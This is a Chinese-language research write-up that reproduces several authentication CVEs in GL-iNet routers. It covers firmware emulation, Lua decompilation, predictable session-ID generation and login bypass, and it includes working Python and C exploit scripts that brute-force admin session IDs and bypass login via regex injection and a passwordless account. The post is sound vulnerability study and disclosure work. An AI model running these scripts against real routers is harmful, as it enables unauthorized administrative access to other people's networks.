前言
前段时间看到复现分析GL-iNet路由器CVE-2024-39226漏洞的两篇文章[原创]GL-iNet路由器 CVE-2024-39226 漏洞分析 ,CVE-2024-39226 GL-iNet 路由器RPC漏洞复现 ,看完也跟着了分析下,固件仿真过程踩了一些坑,开始我直接用Ubuntu24的qemu-system-arm跟着操作都会出现错误”Cortex-A9MPCore peripheral can only use Cortex-A9 CPU”,摸索了挺久发现文章用的都是debian_wheezy_armhf来仿真,但太老了以至于直接跑GL-iNet固件会出现Illegal instruction的错误,就使用Ubuntu18安装的低版本qemu-system-arm,能绕过来指定仿真开发板非支持的cpu,qemu在高版本中修复了这个问题 ,就出现了新些版本Ubuntu安装的qemu-system-arm启动报错问题。
后面琢磨了下,用低版本qemu-system-arm来绕过不算是好方法,试了试换个高版本内核镜像仿真就行了,可以花些时间自己制作一个,我是直接用开箱即用制作好的(https://people.debian.org/~gio/dqib/中的armhf-virt),根据自己的复现环境的网络配置改一下说明中的启动命令即可。
在分析漏洞时候,有搜索翻阅下GL-iNet官方发布的相关安全信息,发现官方整理得很有序完善详实,建立有一个漏洞修复信息仓库 ,有漏洞描述、影响范围、固件版本或利用方式等,修复漏洞的CVE编号没有标明,但在GL-iNet安全更新信息发布网站 中可以找到每个版本更新修复的CVE编号,梳理一下可轻松找到其对应关系。在梳理时候,我发现两篇复现文章末尾都用了另外一个无需登录即可执行rpc调用的漏洞CVE-2024-39227,不过作者都没有提到是这个漏洞编号,这个漏洞的成因和利用都非常简单,但危害性巨大,并且CVE-2024-39226看起来也主要是为了配合这个漏洞来实现未授权远程执行而找到的。
复现分析完文章提到的两个漏洞后,我去官网下载最新的固件版本v4.6.6扒拉了下,发现像CVE-2024-39226这种本地或授权后可以命令注入类型问题还是不少的。拥有授权sid后/usr/lib/oui-httpd/rpc目录中文件的方法基本是可以任意调用,有些文件是luac文件反编译下即可。rpc目录下有十分多的类方法,简单翻了翻发现直接和间接进行命令注入的点很多,几乎防不胜防,想逐一修复工作量不小也不太有趣,思考下觉得这更像是一个系统框架设计问题吧,便和GL-iNet安全团队邮件反馈沟通了下,给出了一些示例。
进一步思考下,最重要的安全防线基本就是一道授权防护了,拥有或者绕过授权后便是如入无人之境了,历史CVE有一些是授权绕过漏洞,看了下相比授权后注入漏洞会更有意思些,不难但很经典,修复后又被绕过,或者同一个攻击面找到了别的攻击点。
所以此文一是对两篇GL-iNet路由器CVE-2024-39226漏洞复现文章进一步的补充,感谢作者无私的分享精神,我来进一步传递下互助分享的火炬,也为初学者提供一些有价值的资料和信息;二是复现分析下GL-iNet路由器几个授权相关的漏洞,看看最重要的防线都是怎样被突破的,以及修复后又是怎么再被突破的。
固件仿真
宿主机网络配置
以Ubuntu24系统为例,先安装qemu-system-arm。
1
sudo apt install qemu
-
system
-
arm
配置宿主机网络,参考QEMU搭建ARM64环境 一文,先执行安装命令,安装后后宿主机会自动创建一个默认网桥virbr0。
1
sudo apt install libvirt
-
daemon
-
system libvirt
-
clients virt
-
manager
随后执行命令,创建并启用名为tap0的TAP设备,再将其添加到virbr0网桥中,并修改文件权限。
1
2
3
4
sudo ip tuntap add dev tap0 mode tap
sudo ip link
set
tap0 up
sudo brctl addif virbr0 tap0
sudo chmod
666
/
dev
/
net
/
tun
接着执行ip addr查看virbr0网桥在宿主机中的网段,比如为192.168.122.1/24,后面配置虚拟机网络时候会用到。
虚拟机网络配置
根据要复现分析漏洞影响的版本去下载固件,可以在GL-iNet官方安全更新和漏洞仓库里面去找相应版本。
进行仿真模拟的步骤都是一样的,到https://people.debian.org/~gio/dqib/找到Images for armhf-virt的链接下载,这是制作好的镜像,解压后可在readme.txt文件中看到镜像使用信息说明,如qemu-system-arm启动命令、登录方式密码等。
想要仿真系统和宿主机通信的话,就不能直接使用它的启动命令,可修改下启动配置中的网络部分,改为使用tap网络接口,id为net,名称为tap0。
1
2
3
4
5
sudo qemu
-
system
-
arm
-
machine
'virt'
-
cpu
'cortex-a15'
-
m
1G
\
-
device virtio
-
blk
-
device,drive
=
hd
-
drive
file
=
image.qcow2,
if
=
none,
id
=
hd \
-
device virtio
-
net
-
device,netdev
=
net
-
netdev tap,
id
=
net,ifname
=
tap0,script
=
no,downscript
=
no \
-
kernel kernel
-
initrd initrd
-
nographic \
-
append
"root=LABEL=rootfs console=ttyAMA0"
启动后登录进入系统,执行ip addr可以看到网卡名称eth0,再执行命令给eth0网卡分配一个网桥virbr0网段中的ip,刚才我们已经在宿主机看了virbr0网段是192.168.122.1/24。
1
2
3
ip add add
192.168
.
122.130
/
24
dev eth0
ip link
set
eth0 up
ip route add default via
192.168
.
122.1
执行后即可和宿主机通信,能互相ping通,每次启动都要执行一遍,嫌麻烦可以把重复操作写成sh脚本。
启动配置路由器
在官网固件下载网站下好固件后,以当前AX1800 Flint最新版v4.6.6为例,使用binwalk -Me提取出squashfs-root文件系统,再在宿主机上使用scp将其传递到仿真虚拟机中,有个坑是提取后文件系统后,如果你想mv、压缩或者scp传输,记得都要加sudo,不然会少关键文件/etc/nginx/oui_nginx.conf和/etc/nginx/conf.d/gl.conf等,会导致无法启动路由器登录管理页面。
1
sudo scp
-
r squashfs
-
root
/
root@
192.168
.
122.130
:
/
root
接着挂载文件系统并启动shell,以及经过尝试,可以在一个虚拟机上传不同固件版本的suqashfs-root,选择挂载进入的,可以写出不同的sh脚本。
1
2
3
4
cd squashfs
-
root
/
mount
-
t proc
/
proc .
/
proc
/
mount
-
o bind
/
dev .
/
dev
/
chroot ..
/
squashfs
-
root
/
sh
参考其他文章,加上我自己的摸索,可尝试这些命令来启动路由器,能够在宿主机浏览器中访问192.168.122.130进入路由器管理页面,可完成初始密码设置并登录进入管理面板过程,想实现更多功能的启用就要摸索更多配置了,不过我们分析复现授权相关过程已经够用了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mkdir
/
var
/
log
mkdir
/
var
/
log
/
nginx
mkdir
/
var
/
lib
mkdir
/
var
/
lib
/
nginx
mkdir
/
var
/
lib
/
nginx
/
body
mkdir
/
var
/
run
chmod
+
x
/
etc
/
uci
-
defaults
/
80_nginx
-
oui
/
etc
/
uci
-
defaults
/
80_nginx
-
oui
chmod
+
x
/
etc
/
uci
-
defaults
/
network_gl
/
etc
/
uci
-
defaults
/
network_gl
/
etc
/
init.d
/
boot boot
/
sbin
/
ubusd &
/
usr
/
sbin
/
gl
-
ngx
-
session &
/
usr
/
bin
/
fcgiwrap
-
c
4
-
s unix:
/
var
/
run
/
fcgiwrap.socket &
/
usr
/
sbin
/
nginx
-
c
/
etc
/
nginx
/
nginx.conf
-
g
'daemon off;'
&
luac反编译
GL-iNet路由器的管理系统是基于luci-nginx-OpenResty开发的,核心功能都是lua写的,在分析过程中发现,lua文件分为源码文件、luac5.1.5文件和luac5.3.5文件三种,碰到后面两种文件就要看下怎么反编译了,自己踩些坑捣鼓了下,算是比较顺利地反编译了。
5.1.5
/usr/lib/oui-httpd/rpc目录下不少luac5.1文件,不过跟我之前碰到的不太一样,文件头中带有路径,不知是不是这个原因,没处理带路径的情况,像metaworm、unluac项目工具都不能反编译成功,最后使用luadec反编译成功了,可能是其编译依赖lua源码缘故。
但luadec也不能直接编译出来用,要先去下载编译会用到的lua源码,放在luadec/lua-5.1目录中,而openwrt项目使用了修改的lua5.1.5的源码,打上openwrt的patches再给luadec编译即可,详情阅读文章反向编译OpenWrt的Lua字节码 。要注意的是文章中的patches下载命令失效了,可以手动去openwrt项目仓库下载patches文件 ,自己打上即可,以及编译出错问题按照文章中给编译命令加上-fPIC即可解决。
5.3.5
部分luac文件看文件头知道是5.3版本,但不知道是哪个小版本,去翻了openwrt项目最新代码 ,能确定是加入了lua-5.3.5版本,和5.1.5版本共存,在目录utils/lua和utils/lua5.3的Makefile文件中可以看到具体版本。本来想如法炮制,打patches编译lua-5.3.5的luadec,但是碰到了两个坑。
先是会报size_t不对的错误,ida分析编译出来的luadec文件,同时查看lua-5.3.5源码的checkHeader部分,找到问题是因为luadec在ubuntu64编译的,默认编译器是gcc64,校验的size_t就是8,而GL-iNet固件运行在32位arm,luac文件的size_t是4,所以校验出错。试下了改gcc32编译但发现出了不少依赖问题不好解决,随后换在Windows上用Visual Studio编译luadec 32位的lua5.3 sln项目,迅速通过编译。
接着又出现了文件头校验端序的问题,”endianness mismatch in precompiled chunk”,ida分析GL-iNet中luac引擎/usr/lib/liblua5.3.so.0.0.0文件,对比lua5.3.5源码,发现源码先是读了一个Interger类型值判断是否是0x5678,再读一个Number值判断是否等于一个浮点数,而liblua5.3.so.0.0.0中可以看到只读了一个字节是否为1来判断端序,LUAC_NUM的校验则是直接没有。
搜了下确定应该是GL-iNet改的,没搜到哪个5.3小版本有这么写。解决办法有两种,一是修改要反编译luac5.3文件头的大端序和浮点数部分,二是修改luadec编译用到的lua5.3.5源码文件头校验部分,后者要省事些。
功能简析
登录抓包
想分析登录授权相关的历史漏洞,首先要跟踪理清相关的函数调用链,仿真虚拟机中执行命令行/usr/sbin/gl-ngx-session &,便可进行登录相关功能。接着抓包网络通信请求,注意到有两个/rpc请求,参数是一个json字符串,其中有method字段和params字段,看起来是要点用的方法和参数,先进行/rpc - challenge请求传递参数username获取到salt、alg、nonce,再发送/rpc - login请求传递参数username和hash获取到sid,便是算登陆上了,大概也能猜到hash的生成和输入的密码、rpc - challenge返回参数有关。
rpc调用
/etc/nginx/conf.d/gl.conf是luci-nginx服务器的配置文件,可以看到location部分有着路径请求和对应执行的lua脚本位置,/rpc请求会被/usr/share/gl-ngx/oui-rpc.lua执行。
接着查看/usr/share/gl-ngx/oui-rpc.lua文件,处理了通过/rpc路径发送的json请求数据,请求中method字段有challenge、login、logout、alive、call五个类型,定义了各自对应的方法。
经分析可知前四个都是通过ubus机制调用/usr/sbin/gl-ngx-session文件中创建的服务方法,call类型则是到/user/lib/lua/oui/rpc.lua中去解析处理参数,进一步完成对/usr/lib/oui-httpd/rpc/目录下的lua文件方法或者so文件函数的调用。lua文件方法的调用是通过pcall函数实现的,而so文件函数是通过转发给/www/cgi-bin/glc此elf文件解析,通过dlopen和dlsym函数来完成调用实现。两者调用的环节可以说都是危险性比较大的攻击面,像CVE-2024-39226即s2s.so的命令注入,和CVE-2024-39227即无需登录通过glc文件调用rpc目录下so文件函数,都是后者的调用链路出现的大问题。
以及注意到/user/lib/lua/oui/rpc.lua文件中的M.access方法,可以知道本地能进行的攻击请求,拥有管理员的sid后也能同样进行,换句话说拥有管理员sid后,能够执行/usr/lib/oui-httpd/rpc/目录下的任意函数方法。我简单看了下最新版本的固件,就找到了许多处直接和间接的命令注入,现在问题来了,如果授权后shell注入算是漏洞的话,那可以说框架系统如此设计的问题还是比较大的,当然也可以认为此类并不太算是漏洞,因为功能设计如此,只要守好授权管理防线即可。
授权机制
先将如何看待路由器此类授权后漏洞的性质和危害性放到一边,去看下出现问题一定会有很大杀伤力的授权机制部分,根据刚才的分析可以知道,登录抓包中/rpc - challenge和/rpc-login请求执行的功能函数,都在/usr/sbin/gl-ngx-session文件中的ubus服务定义。
简单分析可知,challenge方法生成并返回了一个随机数nonce,从/etc/shadow中读取登录用户的哈希加密类型alg和盐salt,与nonce一同返回给客户端以进行哈希计算,而login方法则是验证客户端计算的哈希是否与/etc/shadow中一致。
其他几个像logout方法是销毁移除会话id,touch方法是刷新会话超时时间,touch是刷新会话的超时时间,session是返回指定会话id的详细信息,clear_session是清除所有会话。
不安全随机数
先来看下CVE-2023-50920和CVE-2024-39225,这是两个很经典的不安全随机数应用在授权机制中类型的漏洞。前者cve是未设置随机数种子,默认为1,导致sid生成是可预测的,可在管理员登录期间,去爆破到sid。在经过修复后,取登录时间作为随机数种子,但并没有安全而是出现了第二个cve,一是可以想办法获取到登录时间,二是如果登录时间不能确定,还可以往前可以遍历,仍然能够采取爆破方式得到管理员登录的sid。
CVE-2023-50920
此漏洞具体信息可到官方仓库Authentication-bypass-seesion-ID 一文查看,有提到影响和修复的版本,简单介绍了漏洞情况。以下载了AX1800 Flint v4.4.6版本复现为例,解包固件后,直奔主题看下sid是怎么产生的,可以看到是在/usr/sbin/gl-ngx-session函数中调用了/usr/lib/lua/oui/utils.lua的M.generate方法,可以看到是调用了32次math.random(#t),从表t中取字母拼接成而来的。
到上面提到的官方仓库文章看下对漏洞的描述,说第一次启动登录五次产生的不同sid,和第二次重启登录五次产生的不同sid是一致的,我们可以通过对固件仿真进行验证,确实如此,重启产生的五个固定sid为:
1
2
3
4
5
NsPHdkXtENoaotxVZWLqJorU52O7J0OI
kOwMhgyNDFmY9bhJuOabavmiiWEvugps
T2FvXOB3DzLi6OugzpU9gvGE0RXXCe3D
LhYe29My1b07gEYD6M7r0GEhEdf7ZKwf
frkuxD8f0mOa5QW8VCadShygkiQtVPLj
细究下原因,是因为开发者忘记在/etc/init.d/gl-ngx-session中使用math.randomseed函数初始化随机数种子了,以及文件第一行是#!/usr/bin/lua即由其执行,分析下知道是lua5.1的解释器,可以在lua5.1源代码网站 找到math_random和math_randomseed的实现,前者先通过(rand()%RAND_MAX) / RAND_MAX生成一个0~1之间的小数,只传入一个参数时候与其相乘,使用floor向下取整再加一。后者比较简单,是直接调用了C语言的srand,如果没有调用此函数初始化随机数种子的话,会默认使用1开始作为种子,就导致每次重启不断产生的随机数都是一致的。
可以在虚拟机上写一个lua文件执行验证一下,先设置randomseed为1,再调用generated_id函数,因为每次登录/rpc-challenge请求也会调用一次generate_id作为随机数nonce,所以取第二次生成结果作为sid,可以看到结果和我们登录记录五个sid是一致的。
或者我们反编译下虚拟机的/lib/libc.so文件,看下rand和srand函数的实现,自己写一份,也能得到每次重启的固定sid序列,需要注意的一个坑是lua数组下标是从1开始的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import
math
seed
=
0
RAND_MAX
=
2147483647
def
lua51_math_randomseed(s):
global
seed
seed
=
s
-
1
def
lua51_math_random(
max
):
global
seed
seed
=
(
6364136223846793005
*
int
(seed)
+
1
)&
0xffffffffffffffff
r
=
(seed >>
33
)&
0xffffffff
return
math.floor(((r
%
RAND_MAX)
/
RAND_MAX)
*
max
)
+
1
def
generate_id(n):
s
=
[]
t
=
[
"0"
,
"1"
,
"2"
,
"3"
,
"4"
,
"5"
,
"6"
,
"7"
,
"8"
,
"9"
,
"a"
,
"b"
,
"c"
,
"d"
,
"e"
,
"f"
,
"g"
,
"h"
,
"i"
,
"j"
,
"k"
,
"l"
,
"m"
,
"n"
,
"o"
,
"p"
,
"q"
,
"r"
,
"s"
,
"t"
,
"u"
,
"v"
,
"w"
,
"x"
,
"y"
,
"z"
,
"A"
,
"B"
,
"C"
,
"D"
,
"E"
,
"F"
,
"G"
,
"H"
,
"I"
,
"J"
,
"K"
,
"L"
,
"M"
,
"N"
,
"O"
,
"P"
,
"Q"
,
"R"
,
"S"
,
"T"
,
"U"
,
"V"
,
"W"
,
"X"
,
"Y"
,
"Z"
]
for
i
in
range
(n):
a
=
lua51_math_random(
len
(t))
-
1
s.append(t[a])
return
"".join(s)
lua51_math_randomseed(
1
)
for
i
in
range
(
5
):
generate_id(
32
)
print
(generate_id(
32
))
CVE-2024-39225
随后官方进行了修复,下载AX1800 Flint v4.5.0固件解包查看,可以看到在/sur/sbin/gl-ngx-seesion的init函数中初始化了unix时间戳为随机数种子。
如此乍一看生成的sid不会再重复一直在变化,但是由于当下向前的时间是确定的,所以仍然是不安全的,在管理员登录路由器面板不久后,写脚本尝试不断以向前的unix时间戳为随机数种子,去生成一些sid尝试登录,是可以爆破出管理员的sid的,这就是[CVE-2024-39225](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Bypass the login mechanism.md)。
以及github有这个CVE的利用poc ,但经过我自己仿真复现和分析发现有些不太对劲,这个poc并不能爆破出来正确的sid,经过一番排查,确定原因是/etc/init.d/gl-ngx-session文件第一行也发生了改动,#!/usr/bin/lua改为#!/usr/bin/eco,即lua文件变为由后者执行。ida分析可知,前者是lua.5.1引擎,后者是lua5.3引擎。而在lua5.3版本中,随机数生成实现发生了变动,可以在官方lua5.3源码网站 查看,一是如果符合POSIX标准,就使用random和srandom函数,而非rand和srand,二是math.random函数实现变化,math.randomseed函数实现不仅会初始化种子,还会先调用一次l_rand函数。
所以poc中使用lua5.1的随机数生成实现逻辑是复现不出来漏洞的,我们需要按lua5.3的来,random和srandom函数可以先使用ida分析下/lib/libc.so文件,注意到实现有些复杂,根据两个函数的常量线索可以搜到一份实现 ,经验证是和GL-iNet一致的。
接着便可以撰写爆破sid的脚本,随机数生成用C实现及gcc编译为so,提供python调用,便可复现成功。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdlib.h>
#include <stdint.h>
static
uint32_t init[] = {
0x00000000,0x5851f42d,0xc0b18ccf,0xcbb5f646,
0xc7033129,0x30705b04,0x20fd5db4,0x9a8b7f78,
0x502959d8,0xab894868,0x6c0356a7,0x88cdb7ff,
0xb477d43f,0x70a3a52b,0xa8e4baf1,0xfd8341fc,
0x8ae16fd9,0x742d2f7a,0x0d1f0796,0x76035e09,
0x40f7702c,0x6fa72ca5,0xaaa84157,0x58a0df74,
0xc74a0364,0xae533cc4,0x04185faf,0x6de3b115,
0x0cab8628,0xf043bfa4,0x398150e9,0x37521657};
static
int
n = 31;
static
int
i = 3;
static
int
j = 0;
static
uint32_t *x = init+1;
static
uint32_t lcg31(uint32_t x) {
return
(1103515245*x + 12345) & 0x7fffffff;
}
static
uint64_t lcg64(uint64_t x) {
return
6364136223846793005ull*x + 1;
}
static
void
*savestate() {
x[-1] = (n<<16)|(i<<8)|j;
return
x-1;
}
static
void
loadstate(uint32_t *state) {
x = state+1;
n = x[-1]>>16;
i = (x[-1]>>8)&0xff;
j = x[-1]&0xff;
}
long
mysrandom(unsigned seed) {
int
k;
uint64_t s = seed;
if
(n == 0) {
x[0] = s;
return
;
}
i = n == 31 || n == 7 ? 3 : 1;
j = 0;
for
(k = 0; k < n; k++) {
s = lcg64(s);
x[k] = s>>32;
}
x[0] |= 1;
}
long
myrandom(
void
) {
long
k;
if
(n == 0) {
k = x[0] = lcg31(x[0]);
goto
end;
}
x[i] += x[j];
k = x[i]>>1;
if
(++i == n)
i = 0;
if
(++j == n)
j = 0;
end:
return
k;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import
time
import
requests
import
concurrent.futures
from
requests.adapters
import
HTTPAdapter, Retry
from
ctypes
import
*
requests.packages.urllib3.disable_warnings()
h
=
{
'Content-type'
:
'application/json;charset=utf-8'
,
'User-Agent'
:
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
}
retry
=
Retry(total
=
5
, backoff_factor
=
1
, status_forcelist
=
[
429
,
500
,
502
,
503
,
504
])
s
=
requests.Session()
s.mount(
'http://'
, HTTPAdapter(max_retries
=
retry))
s.mount(
'https://'
, HTTPAdapter(max_retries
=
retry))
s.headers
=
h
s.verify
=
False
s.keep_alive
=
True
timeout
=
20
max_backward_seconds
=
3000
RAND_MAX
=
2147483647
def
lua53_math_randomseed(s):
call.mysrandom(s)
call.myrandom()
def
lua53_math_random(
max
):
return
int
(call.myrandom()
*
(
1.0
/
(RAND_MAX
+
1.0
))
*
max
)
+
1
def
generate_id(n):
s
=
[]
t
=
[
"0"
,
"1"
,
"2"
,
"3"
,
"4"
,
"5"
,
"6"
,
"7"
,
"8"
,
"9"
,
"a"
,
"b"
,
"c"
,
"d"
,
"e"
,
"f"
,
"g"
,
"h"
,
"i"
,
"j"
,
"k"
,
"l"
,
"m"
,
"n"
,
"o"
,
"p"
,
"q"
,
"r"
,
"s"
,
"t"
,
"u"
,
"v"
,
"w"
,
"x"
,
"y"
,
"z"
,
"A"
,
"B"
,
"C"
,
"D"
,
"E"
,
"F"
,
"G"
,
"H"
,
"I"
,
"J"
,
"K"
,
"L"
,
"M"
,
"N"
,
"O"
,
"P"
,
"Q"
,
"R"
,
"S"
,
"T"
,
"U"
,
"V"
,
"W"
,
"X"
,
"Y"
,
"Z"
]
for
i
in
range
(n):
a
=
lua53_math_random(
len
(t))
-
1
s.append(t[a])
return
"".join(s)
def
makeRequest(sid):
j
=
{
"jsonrpc"
:
"2.0"
,
"id"
:
1
,
"method"
:
"alive"
,
"params"
:{
"sid"
:sid}}
r
=
s.post(
"http://192.168.122.130/rpc"
, json
=
j, timeout
=
timeout)
if
"Access denied"
not
in
(r.text):
print
(
"[*] An admin SID found: \033[1m%s\033[0m"
%
sid)
return
sid
def
bruteForce():
counter
=
1
e
=
concurrent.futures.ProcessPoolExecutor(max_workers
=
8
)
with
open
(
"SIDs"
,
"r"
, encoding
=
"utf-8"
) as f:
sids
=
f.read().splitlines()
print
(
"[*] Bruteforce attack has started ... it may take very long time ..."
)
for
sid
in
range
(
0
,
len
(sids),
2048
):
print
(
"[*] The number of SIDs have been bruteforced so far: \033[1m%d\033[0m"
%
(
2048
*
counter), end
=
"\r"
)
counter
+
=
1
results
=
e.
map
(makeRequest, sids[sid:sid
+
2048
])
for
response
in
list
(results):
if
response:
e.shutdown(wait
=
True
, cancel_futures
=
True
)
return
response
def
generateSIDs(boot_time):
with
open
(
"SIDs"
,
"a"
) as SIDs:
for
s
in
range
(max_backward_seconds):
lua53_math_randomseed(boot_time)
for
i
in
range
(
10
):
generate_id(
32
)
sid
=
generate_id(
32
)
SIDs.write(sid
+
"\n"
)
boot_time
-
=
1
print
(
"[*] The bruteforce list has been constructed!"
)
call
=
CDLL(
"./myrand-lua53.so"
)
generateSIDs(
int
(time.time()))
bruteForce()
这之后官方又进行了一次修复,可以看到是使用了io.open('/dev/urandom'),这次随机性应该是足够了。
授权认证绕过
接着再看下登录验证获取授权流程出现的两个漏洞CVE-2023-50919和CVE-2024-45261,前者利用了登录校验中使用用户名参与对/etc/shadow行内容的正则匹配,可以控制用户名改变正则匹配模式,以返回确定已知的结果,随后便可构造出哈希计算值登录成功获取到sid,这个漏洞随后被官方修复,但这个攻击面却还存在别的更隐蔽些的漏洞,即CVE-2024-45261。
以及这两个漏洞获取的sid的aclgroup都不是root,所以过不了/usr/lib/lua/oui/rpc.lua的M.access方法的校验,进而rpc方法基本不能调用,但是没关系已经足够了,/usr/share/gl-ngx/oui-download.lua中有突破点,一是只是检查sid是否存在,二是没有检查下载文件路径,所以我们可以下载到任意文件,包括/etc/shadow文件,进而登录到管理员账户。
这就是CVE-45260,github上有这个漏洞的poc ,我们可以简单修改下这个poc,在复现两个授权认证绕过漏洞获取到sid后,一起进行验证。
CVE-2023-50919
漏洞的具体信息和影响版本可以看官方仓库的介绍https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Authentication-bypass.md,我们选择v4.4.6版本进行仿真验证和分析。之前已经简单介绍登录流程,先进行/rpc - challenge请求传递参数username获取到salt、alg、nonce,再发送/rpc - login请求传递参数username和hash,验证成功获取到sid,便是算登陆上了,现在具体看一下相关文件和函数,都在/usr/sbin/gl-ngx-session中。
这是/etc/shadow文件,第一次启动路由器设置密码时候,会调用/usr/lib/oui-httpd/rpc/ui文件的M.init方法,其中通过(sys.password)(username, "", password)再调用系统方法来更新到/etc/shadow,第一行就是默认root用户的密码信息,以:为分割,其中第二个字段是哈希信息,又以$分割为哈希类型、盐和哈希结果。
/rpc - challenge请求流程先获取到客户端发送的登录用户名,调用get_crypt_info函数,读取/etc/shadow文件获取用户的哈希类型和盐。
接着再调用create_nonce函数生成随机数,最后再一同返回给客户端。
客户端根据哈希类型和盐进行哈希计算得到hash,和用户名一起作为/rpc - login请求的参数准备进行验证,看下校验流程,会走到login_test函数中,遍历/etc/shadow行内容,拿用户名拼接正则表达式,正常流程应该是username为root,随后匹配到第一行root密码信息中的第二个字段哈希信息,随后和用户名、随机数一起拼接进行md5哈希,将结果和客户端传来的hash值对比,一致则登录校验成功,生成sid返回。
可以看到拼接正则表达式没有对用户名进行检查,那么就可以在用户名中带有正则字符串,让匹配结果不再是我们不知道的管理员密码哈希信息,而是一个可以猜到的固定值,便可轻易绕过登录。看一下root用户的密码信息,比如为root:1 1 qG8FMa7V$BycGN7ybNp4Np/PkCQNp9.:20030:0:99999:7:::,第三个字段为最后一次修改密码时间距离1970.01.01的天数,是变化不容易预测的,而第四个字段为最小修改密码时间间隔,如果是0则可以随时修改,一般默认是0,那么则可以让用户名为root:[^:]+:[^:]+
,来拼接出正则表达式规则^root:[^:]+:[^:]+:([^:]+)
,便可匹配出第四个字段0,接着可以根据校验流程计算出哈希,发送登录请求绕过验证,获取到sid。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import
requests
import
hashlib
requests.packages.urllib3.disable_warnings()
s
=
requests.Session()
s.verify
=
False
s.keep_alive
=
True
s.headers.update({
'User-Agent'
:
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
})
url
=
"http://192.168.122.130/rpc"
j
=
{
"jsonrpc"
:
"2.0"
,
"id"
:
1
,
"method"
:
"challenge"
,
"params"
:{
"username"
:
"root"
}}
r
=
s.post(url, json
=
j)
if
r.status_code
=
=
200
and
"Access denied"
not
in
r.text
and
"nonce"
in
r.json()[
'result'
]:
nonce
=
r.json()[
'result'
][
'nonce'
]
data
=
f
'root:[^:]+:[^:]+:0:{nonce}'
hash
=
hashlib.md5(data.encode()).hexdigest()
j
=
{
"jsonrpc"
:
"2.0"
,
"id"
:
1
,
"method"
:
"login"
,
"params"
:{
"username"
:
"root:[^:]+:[^:]+"
,
"hash"
:
hash
}}
r
=
s.post(url, json
=
j)
try
:
sid
=
r.json()[
'result'
][
'sid'
]
except
Exception:
pass
if
sid:
print
(
"[*] Successfully generated a non-privileged SID: \033[1m%s\033[0m"
%
sid)
else
:
print
(
"[*] Error! Could not generate a SID!"
)
else
:
print
(
"[*] Could not get a nonce from the target device! Try again later!"
)
CVE-2024-45261
下载修复版本v4.5.0固件,解包查看是CVE-2023-50919如何修复的,可以看到对username进行了正则检查,严格限定为小写字母、数组、下划线和连字符,堵死了利用用户名拼接正则表达式的漏洞。
但是真的安全了吗,其实并没有。再往上翻一下/etc/shadow文件的内容,可以知道除了root还有ftp、daemon、network等其他用户的密码信息,而且匹配出来的哈希要么是*要么是x,所以rpc - login请求是很容易搞定的,登录/etc/shadwo文件中的其他用户名即可。但是还要看下rpc - challenge请求流程,因为有先通过get_crypt_info读用户在/etc/shadwo文件中的哈希类型和盐,如果是root外的用户,获取到的alg和salt就是nil,进而校验了alg值会请求失败,无法产生随机数nonce并返回。
可是问题恰恰出现在rpc - login请求中使用nonce时候,并没有检查是哪个用户生成的nonce,所以我们可以进行rpc - challenge请求时候,设置用户名为root来获取到nonce,再进行rpc - login请求时候,设置别的用户来绕过校验,这就是CVE-2024-45261,[官网上有具体的介绍](https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Bypassing Login Mechanism with Passwordless User Login.md),github上也有poc脚本 。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import
requests
import
hashlib
requests.packages.urllib3.disable_warnings()
s
=
requests.Session()
s.verify
=
False
s.keep_alive
=
True
s.headers.update({
'User-Agent'
:
'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
})
url
=
"http://192.168.122.130/rpc"
j
=
{
"jsonrpc"
:
"2.0"
,
"id"
:
1
,
"method"
:
"challenge"
,
"params"
:{
"username"
:
"root"
}}
r
=
s.post(url, json
=
j)
if
r.status_code
=
=
200
and
"Access denied"
not
in
r.text
and
"nonce"
in
r.json()[
'result'
]:
nonce
=
r.json()[
'result'
][
'nonce'
]
data
=
f
'ftp:*:{nonce}'
hash
=
hashlib.md5(data.encode()).hexdigest()
j
=
{
"jsonrpc"
:
"2.0"
,
"id"
:
1
,
"method"
:
"login"
,
"params"
:{
"username"
:
"ftp"
,
"hash"
:
hash
}}
r
=
s.post(url, json
=
j)
try
:
sid
=
r.json()[
'result'
][
'sid'
]
except
Exception:
pass
if
sid:
print
(
"[*] Successfully generated a non-privileged SID for the \033[1mftp\033[0m account: \033[1m%s\033[0m"
%
sid)
else
:
print
(
"[*] Error! Could not generate a SID!"
)
else
:
print
(
"[*] Could not get a nonce from the target device! Try again later!"
)
最后看下当前最新的v4.6.6版本中是怎么修复的,可以看到nonce和username对应关系有了,root外的用户无法再借助root通过rpc - challenge请求生成的nonce来绕过登录了。
顺便再看下CVE-2024-45261即任意aclgroup的sid任意文件下载漏洞是怎么修复的,可以看到调用了之前说到的rpc.access方法,之前有提到里面有对sid的aclgroup进行检查。
后记
写完此篇文章一个感受是“纸上得来终觉浅,绝知此事要躬行”,无论是固件仿真,还是自己去找一些授权后注入漏洞,或者是复现授权相关CVE,都是看着觉得也不难,但动手复现起来真是一个又一个坑。看到别人做得不太好的,要摸索下怎么做得更优雅些;碰到别人没说的,要自己趟一遍水才知道哪些没说,再想各种办法去补全;碰到别人说得有问题的就更惨了,各种怀疑困惑后,要一步步分析定位到原因再去解决给出正确答案。